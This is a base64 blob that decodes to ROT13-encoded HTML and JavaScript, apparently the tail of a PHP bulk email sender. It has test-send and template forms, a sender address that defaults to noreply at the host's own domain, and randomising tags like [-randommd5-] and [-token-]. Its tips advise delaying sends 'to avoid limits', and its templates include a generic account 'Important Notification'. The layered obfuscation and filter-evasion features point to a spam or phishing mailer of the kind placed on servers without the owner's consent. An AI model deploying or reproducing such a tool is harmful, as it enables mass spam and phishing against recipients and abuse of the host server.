biBweW5mZj0ic2Jlei1wYmFnZWJ5IiBhbnpyPSJya2dlbnBnX2dya2ciIGViamY9IjEwIiBjeW5wcnVieXFyZT0iQ25mZ3IgbmFsIGdya2cgdXJlci4uLiI+PC9ncmtnbmVybj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgPC9zYmV6PgogICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6YnFueS1zYmJncmUiPgogICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhIG9nYS1mcnBiYXFuZWwiIHFuZ24tb2YtcXZmenZmZj0iemJxbnkiPlBuYXByeTwvb2hnZ2JhPgogICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0iZmhvenZnIiBweW5mZj0ib2dhIG9nYS1jZXZ6bmVsIiBzYmV6PSJya2dlbnBnU2JleiI+UmtnZW5wZyBSem52eWY8L29oZ2diYT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICA8L3F2aT4KICAgIDwvcXZpPgogICAgCiAgICA8cXZpIHB5bmZmPSJ6YnFueSBzbnFyIiB2cT0iZ3JmZ1picW55IiBnbm92YXFyaz0iLTEiPgogICAgICAgIDxxdmkgcHluZmY9InpicW55LXF2bnlidCI+CiAgICAgICAgICAgIDxxdmkgcHluZmY9InpicW55LXBiYWdyYWciPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iemJxbnktdXJucXJlIj4KICAgICAgICAgICAgICAgICAgICA8dTUgcHluZmY9InpicW55LWd2Z3lyIj48diBweW5mZj0ib3Ygb3YtcHVycHgtcHZlcHlyIHpyLTIiPjwvdj5GcmFxIEdyZmcgUnpudnk8L3U1PgogICAgICAgICAgICAgICAgICAgIDxvaGdnYmEgZ2xjcj0ib2hnZ2JhIiBweW5mZj0ib2dhLXB5YmZyIiBxbmduLW9mLXF2Znp2ZmY9InpicW55Ij48L29oZ2diYT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iemJxbnktb2JxbCI+CiAgICAgICAgICAgICAgICAgICAgPHNiZXogenJndWJxPSJjYmZnIiB2cT0iZ3JmZ1NiZXoiPgogICAgICAgICAgICAgICAgICAgICAgICA8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJucGd2YmEiIGlueWhyPSJncmZnIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iem8tMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eW5vcnkgcHluZmY9InNiZXoteW5vcnkiPkdyZmcgUnpudnkgTnFxZXJmZjo8L3lub3J5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9InJ6bnZ5IiBweW5mZj0ic2Jlei1wYmFnZWJ5IiBhbnpyPSJncmZnX3J6bnZ5IiBjeW5wcnVieXFyZT0iZ3JmZ0Bya256Y3lyLnBieiIgZXJkaHZlcnE+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6by0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx5bm9yeSBweW5mZj0ic2Jlei15bm9yeSI+U2VieiBSem52eTo8L3lub3J5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHZhY2hnIGdsY3I9InJ6bnZ5IiBweW5mZj0ic2Jlei1wYmFnZWJ5IiBhbnpyPSJzZWJ6X3J6bnZ5IiBpbnlocj0iPD89IHVnenlmY3Jwdm55cHVuZWYoJF9DQkZHWydzZWJ6X3J6bnZ5J10gPz8gJ2FiZXJjeWxAJyAuICRfRlJFSVJFWydVR0dDX1VCRkcnXSkgPz4iIGVyZGh2ZXJxPgogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8L3NiZXo+CiAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InpicW55LXNiYmdyZSI+CiAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2Egb2dhLWZycGJhcW5lbCIgcW5nbi1vZi1xdmZ6dmZmPSJ6YnFueSI+UG5hcHJ5PC9vaGdnYmE+CiAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJmaG96dmciIHB5bmZmPSJvZ2Egb2dhLWZocHByZmYiIHNiZXo9ImdyZmdTYmV6Ij5GcmFxIEdyZmc8L29oZ2diYT4KICAgICAgICAgICAgICAgIDwvcXZpPgogICAgICAgICAgICA8L3F2aT4KICAgICAgICA8L3F2aT4KICAgIDwvcXZpPgogICAgCiAgICA8IS0tIFVyeWMgWmJxbnkgLS0+CiAgICA8cXZpIHB5bmZmPSJ6YnFueSBzbnFyIiB2cT0idXJ5Y1picW55IiBnbm92YXFyaz0iLTEiPgogICAgICAgIDxxdmkgcHluZmY9InpicW55LXF2bnlidCB6YnFueS15dCI+CiAgICAgICAgICAgIDxxdmkgcHluZmY9InpicW55LXBiYWdyYWciPgogICAgICAgICAgICAgICAgPHF2aSBweW5mZj0iemJxbnktdXJucXJlIj4KICAgICAgICAgICAgICAgICAgICA8dTUgcHluZmY9InpicW55LWd2Z3lyIj48diBweW5mZj0ib3Ygb3YtZGhyZmd2YmEtcHZlcHlyIHpyLTIiPjwvdj5VcnljICYgUWJwaHpyYWduZ3ZiYTwvdTU+CiAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBnbGNyPSJvaGdnYmEiIHB5bmZmPSJvZ2EtcHliZnIiIHFuZ24tb2YtcXZmenZmZj0iemJxbnkiPjwvb2hnZ2JhPgogICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICA8cXZpIHB5bmZmPSJ6YnFueS1vYnFsIj4KICAgICAgICAgICAgICAgICAgICA8dTY+Tmludnlub3lyIEdudGY8L3U2PgogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9ImViaiB6by0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHF2aSBweW5mZj0icGJ5LXpxLTYiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGh5IHB5bmZmPSJ5dmZnLWhhZmdseXJxIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eXY+PHBicXI+Wy1yem52eS1dPC9wYnFyPiAtIFNoeXkgZXJwdmN2cmFnIHJ6bnZ5PC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eXY+PHBicXI+Wy1yem52eWhmcmUtXTwvcGJxcj4gLSBSem52eSBoZnJlYW56ciBjbmVnPC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eXY+PHBicXI+Wy1yem52eXFiem52YS1dPC9wYnFyPiAtIFJ6bnZ5IHFiem52YSBjbmVnPC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eXY+PHBicXI+Wy1ndnpyLV08L3BicXI+IC0gUGhlZXJhZyBxbmdyL2d2enI8L3l2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx5dj48cGJxcj5bLXFuZ3ItXTwvcGJxcj4gLSBQaGVlcmFnIHFuZ3I8L3l2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9oeT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBieS16cS02Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoeSBweW5mZj0ieXZmZy1oYWZnbHlycSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHl2PjxwYnFyPlstZW5hcWJ6ZmdldmF0LV08L3BicXI+IC0gRW5hcWJ6IG55Y3VuYWh6cmV2cDwveXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHl2PjxwYnFyPlstZW5hcWJ6enE1LV08L3BicXI+IC0gRW5hcWJ6IFpRNSB1bmZ1PC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eXY+PHBicXI+Wy1nYnhyYS1dPC9wYnFyPiAtIEZycGhldmdsIGdieHJhPC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8eXY+PHBicXI+Wy1mcmV2bnktXTwvcGJxcj4gLSBIYXZkaHIgZnJldm55IGFoem9yZTwveXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHl2PjxwYnFyPlstcWJ6bnZhLV08L3BicXI+IC0gTGJoZSBxYnpudmEgYW56cjwveXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2h5PgogICAgICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICA8dTY+R3ZjZiBzYmUgRmhwcHJmZjwvdTY+CiAgICAgICAgICAgICAgICAgICAgPGh5PgogICAgICAgICAgICAgICAgICAgICAgICA8eXY+TnlqbmxmIGhmciBuYSByem52eSBzZWJ6IGxiaGUgcWJ6bnZhIG5mIGZyYXFyZTwveXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDx5dj5GZ25lZyBqdmd1IG4gZ3JmZyByem52eSBnYiBpcmV2c2wgZnJnaGM8L3l2PgogICAgICAgICAgICAgICAgICAgICAgICA8eXY+SGZyIFVHWlkgc2Jlem5nIHNiZSBvcmdncmUgY2VyZnJhZ25ndmJhPC95dj4KICAgICAgICAgICAgICAgICAgICAgICAgPHl2Pk5xcSBxcnlubCBvcmdqcnJhIHJ6bnZ5ZiBnYiBuaWJ2cSB5dnp2Z2Y8L3l2PgogICAgICAgICAgICAgICAgICAgICAgICA8eXY+UHVycHggZmxmZ3J6IHF2bnRhYmZndnBmIHNiZSB2ZmZocmY8L3l2PgogICAgICAgICAgICAgICAgICAgIDwvaHk+CiAgICAgICAgICAgICAgICA8L3F2aT4KICAgICAgICAgICAgPC9xdmk+CiAgICAgICAgPC9xdmk+CiAgICA8L3F2aT4KICAgIAogICAgPCEtLSBGcGV2Y2dmIC0tPgogICAgPGZwZXZjZyBmZXA9InVnZ2NmOi8vcHFhLndmcXJ5dmllLmFyZy9hY3ovb2JiZ2ZnZW5jQDUuMS4zL3F2Zmcvd2Yvb2JiZ2ZnZW5jLm9oYXF5ci56dmEud2YiPjwvZnBldmNnPgogICAgPGZwZXZjZz4KICAgICAgICAvLyBTYmV6IHNoYXBndmJhZgogICAgICAgIHNoYXBndmJhIHB5cm5lU2JleigpIHsKICAgICAgICAgICAgdnMocGJhc3ZleignUHlybmUgbnl5IHNiZXogcW5nbj8nKSkgewogICAgICAgICAgICAgICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3J6bnZ5U2JleicpLmVyZnJnKCk7CiAgICAgICAgICAgICAgICB5YnBueUZnYmVudHIucHlybmUoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICBzaGFwZ3ZiYSBweXJuZVlidGYoKSB7CiAgICAgICAgICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCd5YnRmUGJhZ252YXJlJykudmFhcmVVR1pZID0gCiAgICAgICAgICAgICAgICAnPHF2aSBweW5mZj0iZ3JrZy1wcmFncmUgZ3JrZy16aGdycSBjbC00Ij4nICsKICAgICAgICAgICAgICAgICc8diBweW5mZj0ib3Ygb3YtdmFvYmsgcXZmY3lubC00IHpvLTMiPjwvdj4nICsKICAgICAgICAgICAgICAgICc8Yz5ZYnRmIHB5cm5lcnE8L2M+JyArCiAgICAgICAgICAgICAgICAnPC9xdmk+JzsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgc2hhcGd2YmEgbnFxR250KHN2cnlxLCBnbnQpIHsKICAgICAgICAgICAgeXJnIGdya2duZXJuOwogICAgICAgICAgICB2cyhzdnJ5cSA9PT0gJ3pyZmZudHInKSB7CiAgICAgICAgICAgICAgICBncmtnbmVybiA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCd6cmZmbnRyTmVybicpOwogICAgICAgICAgICB9IHJ5ZnIgdnMoc3ZyeXEgPT09ICdmaG93cnBnJykgewogICAgICAgICAgICAgICAgZ3JrZ25lcm4gPSBxYnBoenJhZy5kaHJlbEZyeXJwZ2JlKCdbYW56cj0iZmhvd3JwZyJdJyk7CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICBncmtnbmVybiA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdyem52eVl2ZmdOZXJuJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIHBiYWZnIGZnbmVnID0gZ3JrZ25lcm4uZnJ5cnBndmJhRmduZWc7CiAgICAgICAgICAgIHBiYWZnIHJhcSA9IGdya2duZXJuLmZyeXJwZ3ZiYVJhcTsKICAgICAgICAgICAgcGJhZmcgZ3JrZyA9IGdya2duZXJuLmlueWhyOwogICAgICAgICAgICAKICAgICAgICAgICAgZ3JrZ25lcm4uaW55aHIgPSBncmtnLmZob2ZnZXZhdCgwLCBmZ25lZykgKyBnbnQgKyBncmtnLmZob2ZnZXZhdChyYXEpOwogICAgICAgICAgICBncmtnbmVybi5zYnBoZigpOwogICAgICAgICAgICBncmtnbmVybi5mcmdGcnlycGd2YmFFbmF0cihmZ25lZyArIGdudC55cmF0Z3UsIGZnbmVnICsgZ250LnlyYXRndSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIHNoYXBndmJhIHlibnFHcnpjeW5ncihnbGNyKSB7CiAgICAgICAgICAgIHBiYWZnIGdyemN5bmdyZiA9IHsKICAgICAgICAgICAgICAgICdhcmpmeXJnZ3JlJzogewogICAgICAgICAgICAgICAgICAgIGZob3dycGc6ICdaYmFndXlsIEFyamZ5cmdncmUgLSBbLXpiYWd1LV0gWy1scm5lLV0nLAogICAgICAgICAgICAgICAgICAgIHpyZmZudHI6IGBRcm5lIFstcnpudnloZnJlLV0sCgpKcnlwYnpyIGdiIGJoZSBbLXpiYWd1LV0gYXJqZnlyZ2dyZSEKClVyZXIgbmVyIGd1ciB5bmdyZmcgaGNxbmdyZjoK4oCiIEFyaiBzcm5naGVyZiBucXFycQrigKIgSGNwYnp2YXQgcmlyYWdmCuKAoiBGY3Jwdm55IGJzc3JlZgoKSXZmdmcgYmhlIGpyb2Z2Z3Igc2JlIHpiZXIgcXJnbnZ5Zi4KCk9yZmcgZXJ0bmVxZiwKQXJqZnlyZ2dyZSBHcm56YAogICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICdqcnlwYnpyJzogewogICAgICAgICAgICAgICAgICAgIGZob3dycGc6ICdKcnlwYnpyIGdiIEJoZSBGcmVpdnByLCBbLXJ6bnZ5aGZyZS1dIScsCiAgICAgICAgICAgICAgICAgICAgenJmZm50cjogYFVyeXliIFstcnpudnloZnJlLV0sCgpKcnlwYnpyIG5vYm5lcSEgSnInZXIgcmtwdmdycSBnYiB1bmlyIGxiaCBqdmd1IGhmLgoKTGJoZSBucHBiaGFnIHVuZiBvcnJhIGZocHByZmZzaHl5bCBwZXJuZ3JxLgoKTnBwYmhhZyBRcmdudnlmOgrigKIgUnpudnk6IFstcnpudnktXQrigKIgV2J2YSBRbmdyOiBbLXFuZ3ItXQrigKIgRXJzcmVyYXByOiBbLWVuYXFiemZnZXZhdC1dCgpUcmcgZmduZWdycSBvbCBpdmZ2Z3ZhdCBsYmhlIHFuZnVvYm5lcS4KCkd1bmF4IGxiaCBzYmUgcHViYmZ2YXQgaGYhCgpPcmZnIGVydG5lcWYsCkZoY2NiZWcgR3JuemAKICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAnY2ViemJndmJhJzogewogICAgICAgICAgICAgICAgICAgIGZob3dycGc6ICdGY3Jwdm55IEJzc3JlIFdoZmcgc2JlIExiaCEnLAogICAgICAgICAgICAgICAgICAgIHpyZmZudHI6IGBVcnl5YiBbLXJ6bnZ5aGZyZS1dLAoKSnIgdW5pciBuIGZjcnB2bnkgY2ViemJndmJhIHNiZSBiaGUgaW55aHJxIHpyem9yZWYhCgpIZnIgcGJxcjogWy1lbmFxYnpmZ2V2YXQtXQpJbnl2cSBoYWd2eTogWy1xbmdyLV0KCkd1dmYgYnNzcmUgdmYgcmtweWhmdmlyIGdiIGxiaC4gUWJhJ2cgenZmZiBndXZmIGJjY2JlZ2hhdmdsIQoKUHl2cHggdXJlciBnYiBweW52eiBsYmhlIGJzc3JlLgoKT3JmZyBlcnRuZXFmLApDZWJ6Ymd2YmFmIEdybnpgCiAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgJ2FiZ3ZzdnBuZ3ZiYSc6IHsKICAgICAgICAgICAgICAgICAgICBmaG93cnBnOiAnVnpjYmVnbmFnIEFiZ3ZzdnBuZ3ZiYSAtIEVyc3JlcmFwcjogWy1mcmV2bnktXScsCiAgICAgICAgICAgICAgICAgICAgenJmZm50cjogYFFybmUgWy1yem52eWhmcmUtXSwKCkd1dmYgdmYgbmEgdnpjYmVnbmFnIGFiZ3ZzdnBuZ3ZiYSBlcnRuZXF2YXQgbGJoZSBucHBiaGFnLgoKQWJndnN2cG5ndmJhIFZROiBbLWVuYXFienpxNS1dCkd2enI6IFstZ3Z6ci1dCkVyc3JlcmFwcjogWy1mcmV2bnktXQoKQ3lybmZyIGdueHIgbmNjZWJjZXZuZ3IgbnBndmJhIHZzIGFycnFycS4KCk9yZmcgZXJ0bmVxZiwKQWJndnN2cG5ndmJhIEZsZmdyemAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKICAgICAgICAgICAgCiAgICAgICAgICAgIHZzKGdyemN5bmdyZltnbGNyXSkgewogICAgICAgICAgICAgICAgcWJwaHpyYWcuZGhyZWxGcnlycGdiZSgnW2FuenI9ImZob3dycGciXScpLmlueWhyID0gZ3J6Y3luZ3JmW2dsY3JdLmZob3dycGc7CiAgICAgICAgICAgICAgICBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnenJmZm50ck5lcm4nKS5pbnlociA9IGdyemN5bmdyZltnbGNyXS56cmZmbnRyOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAvLyBGanZncHUgZ2IgcGJ6Y2JmciBnbm8KICAgICAgICAgICAgICAgIHBiYWZnIHBiemNiZnJHbm8gPSBhcmogb2JiZ2ZnZW5jLkdubyhxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncGJ6Y2Jmci1nbm8nKSk7CiAgICAgICAgICAgICAgICBwYnpjYmZyR25vLmZ1YmooKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBOaGdiLWZuaXIgc2JlegogICAgICAgIHBiYWZnIHJ6bnZ5U2JleiA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdyem52eVNiZXonKTsKICAgICAgICBwYmFmZyBzYmV6U3ZyeXFmID0gWydzZWJ6X3J6bnZ5JywgJ3NlYnpfYW56cicsICdmaG93cnBnJywgJ3pyZmZudHInLCAncnpudnlfeXZmZyddOwogICAgICAgIAogICAgICAgIHNiZXpTdnJ5cWYuc2JlUm5wdShzdnJ5cSA9PiB7CiAgICAgICAgICAgIHBiYWZnIHJ5cnpyYWcgPSByem52eVNiZXoucnlyenJhZ2Zbc3ZyeXFdOwogICAgICAgICAgICB2cyhyeXJ6cmFnKSB7CiAgICAgICAgICAgICAgICAvLyBZYm5xIGZuaXJxIHFuZ24KICAgICAgICAgICAgICAgIHBiYWZnIGZuaXJxID0geWJwbnlGZ2JlbnRyLnRyZ1ZncnooJ2pua25fJyArIHN2cnlxKTsKICAgICAgICAgICAgICAgIHZzKGZuaXJxKSB7CiAgICAgICAgICAgICAgICAgICAgcnlyenJhZy5pbnlociA9IGZuaXJxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAvLyBGbmlyIGJhIHB1bmF0cgogICAgICAgICAgICAgICAgcnlyenJhZy5ucXFSaXJhZ1l2ZmdyYXJlKCd2YWNoZycsIHNoYXBndmJhKCkgewogICAgICAgICAgICAgICAgICAgIHlicG55RmdiZW50ci5mcmdWZ3J6KCdqbmtuXycgKyBzdnJ5cSwgZ3V2Zi5pbnlocik7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfQogICAgICAgIH0pOwogICAgICAgIAogICAgICAgIC8vIFNiZXogaW55dnFuZ3ZiYQogICAgICAgIHJ6bnZ5U2Jlei5ucXFSaXJhZ1l2ZmdyYXJlKCdmaG96dmcnLCBzaGFwZ3ZiYShyKSB7CiAgICAgICAgICAgIHBiYWZnIHJ6bnZ5WXZmZyA9IHJ6bnZ5U2Jlei5yeXJ6cmFnZlsncnpudnlfeXZmZyddLmlueWhyLmdldnooKTsKICAgICAgICAgICAgdnMoIXJ6bnZ5WXZmZykgewogICAgICAgICAgICAgICAgci5jZXJpcmFnUXJzbmh5ZygpOwogICAgICAgICAgICAgICAgbnlyZWcoJ0N5cm5mciByYWdyZSBuZyB5cm5mZyBiYXIgcnpudnkgbnFxZXJmZicpOwogICAgICAgICAgICAgICAgcnpudnlTYmV6LnJ5cnpyYWdmWydyem52eV95dmZnJ10uc2JwaGYoKTsKICAgICAgICAgICAgICAgIGVyZ2hlYTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgcGJhZmcgcnpudnlmID0gcnpudnlZdmZnLmZjeXZnKCdcYScpLnN2eWdyZShyem52eSA9PiByem52eS5nZXZ6KCkpOwogICAgICAgICAgICBwYmFmZyBpbnl2cVJ6bnZ5ZiA9IHJ6bnZ5Zi5zdnlncmUocnpudnkgPT4gL15bXlxmQF0rQFteXGZAXStcLlteXGZAXSskLy5ncmZnKHJ6bnZ5KSk7CiAgICAgICAgICAgIAogICAgICAgICAgICB2cyhpbnl2cVJ6bnZ5Zi55cmF0Z3UgPT09IDApIHsKICAgICAgICAgICAgICAgIHIuY2VyaXJhZ1Fyc25oeWcoKTsKICAgICAgICAgICAgICAgIG55cmVnKCdBYiBpbnl2cSByem52eSBucXFlcmZmcmYgc2JoYXEuIEN5cm5mciBwdXJweCBsYmhlIHJ6bnZ5IHl2ZmcuJyk7CiAgICAgICAgICAgICAgICBlcmdoZWE7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIHBiYWZnIHFyeW5sVmFjaGcgPSBxYnBoenJhZy5kaHJlbEZyeXJwZ2JlKCdbYW56cj0icXJ5bmwiXScpOwogICAgICAgICAgICBwYmFmZyBxcnlubFpmID0gcXJ5bmxWYWNoZyA/IGNuZWZyVmFnKHFyeW5sVmFjaGcuaW55aHIpIDogMTAwOwogICAgICAgICAgICBxcnlubFZhY2hnLmlueWhyID0gcXJ5bmxaZiAqIDEwMDA7IC8vIFBiYWlyZWcgZ2IgenZwZWJmcnBiYXFmCiAgICAgICAgICAgIAogICAgICAgICAgICB2cyghcGJhc3ZleihgRnJhcSAke2lueXZxUnpudnlmLnlyYXRndX0gcnpudnkke2lueXZxUnpudnlmLnlyYXRndSA+IDEgPyAnZicgOiAnJ30/IEd1dmYganZ5eSBoZnIgNSBxdnNzcmVyYWcgZnJhcXZhdCB6cmd1YnFmIHNiZSB6bmt2emh6IHFyeXZpcmVsLmApKSB7CiAgICAgICAgICAgICAgICByLmNlcmlyYWdRcnNuaHlnKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgICAgICAKICAgICAgICAvLyBIY3FuZ3IgcXJ5bmwgcXZmY3lubAogICAgICAgIHBiYWZnIHFyeW5sRW5hdHIgPSBxYnBoenJhZy5kaHJlbEZyeXJwZ2JlKCd2YWNoZ1tnbGNyPSJlbmF0ciJdW2FuenI9InFyeW5sIl0nKTsKICAgICAgICB2cyhxcnlubEVuYXRyKSB7CiAgICAgICAgICAgIHFyeW5sRW5hdHIubnFxUmlyYWdZdmZncmFyZSgndmFjaGcnLCBzaGFwZ3ZiYSgpIHsKICAgICAgICAgICAgICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdxcnlubElueWhyJykudmFhcmVHcmtnID0gZ3V2Zi5pbnlociArICd6Zic7CiAgICAgICAgICAgIH0pOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBOaGdiLWZwZWJ5eSB5YnRmCiAgICAgICAgcGJhZmcgeWJ0ZlBiYWdudmFyZSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCd5YnRmUGJhZ252YXJlJyk7CiAgICAgICAgdnMoeWJ0ZlBiYWdudmFyZSkgewogICAgICAgICAgICB5YnRmUGJhZ252YXJlLmZwZWJ5eUdiYyA9IHlidGZQYmFnbnZhcmUuZnBlYnl5VXJ2dHVnOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBWYXZndm55dm1yIGdiYnlndmNmCiAgICAgICAgcGJhZmcgZ2JieWd2Y0dldnR0cmVZdmZnID0gW10uZnl2cHIucG55eShxYnBoenJhZy5kaHJlbEZyeXJwZ2JlTnl5KCdbcW5nbi1vZi1nYnR0eXI9ImdiYnlndmMiXScpKTsKICAgICAgICBnYmJ5Z3ZjR2V2dHRyZVl2Zmcuem5jKHNoYXBndmJhIChnYmJ5Z3ZjR2V2dHRyZVJ5KSB7CiAgICAgICAgICAgIGVyZ2hlYSBhcmogb2JiZ2ZnZW5jLkdiYnlndmMoZ2JieWd2Y0dldnR0cmVSeSk7CiAgICAgICAgfSk7CiAgICA8L2ZwZXZjZz4KPC9vYnFsPgo8L3Vnenk+